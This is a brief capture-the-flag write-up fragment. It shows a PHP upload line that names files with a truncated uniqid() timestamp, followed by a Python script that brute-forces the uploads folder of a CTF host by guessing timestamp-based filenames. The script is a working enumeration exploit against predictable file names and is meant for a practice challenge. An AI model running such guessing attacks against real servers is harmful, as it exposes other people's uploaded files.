$target_file = $target_dir . substr(uniqid(), 0, 8) . "_" . basename($_FILES["fileToUpload"]["name"]);

uniqid == timestamp(J. Assange birthday)
```
import requests
import time
import datetime
url = "http://securefile.ctf.site:10080/uploads/"

d2 = lambda x: int(time.mktime(datetime.datetime.strptime(x, '%Y-%m-%d %H:%M:%S').timetuple()))

start = '2017-07-03 09:00:00'
end = '2017-09-14 12:00:00'
for i in range(d2(start), d2(end)):
r = url + hex(i).replace("0x","")[:8] + "_flag.txt"
req = requests.get(r)
print r, req.status_code, req.text

```